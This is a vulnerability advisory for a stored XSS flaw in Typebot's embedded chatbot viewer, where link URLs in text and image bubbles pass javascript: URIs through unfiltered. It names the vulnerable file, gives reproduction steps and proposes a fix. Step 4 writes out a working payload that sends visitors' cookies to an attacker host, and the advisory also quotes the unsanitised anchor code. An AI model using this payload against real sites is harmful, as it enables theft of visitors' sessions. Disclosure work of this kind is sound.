CVE-2026-39964: TypeBot: Stored XSS via javascript: URI in text bubble links — bot author executes JS on visitors' browsers

Summary

The Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.

Details

Vulnerable file: packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx

tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a>

SolidJS does not sanitize href attribute values — javascript: URIs pass through to the DOM unchanged.

The same issue exists in ImageBubble.tsx line 102 for image link wrapping.

Steps to Reproduce

1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com

Source-verified: PlateBlock.tsx:32 renders <a href={url}> with no scheme filtering. Puppeteer alert confirmed document.domain execution when link clicked.

Impact

- Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required

Proposed Fix

Filter javascript: URIs before rendering anchor tags:

tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url

<a href={safeUrl(elementDescendant.url as string)} ...>

Alternatively, use a URL allowlist (only https:, http:, mailto:, tel:).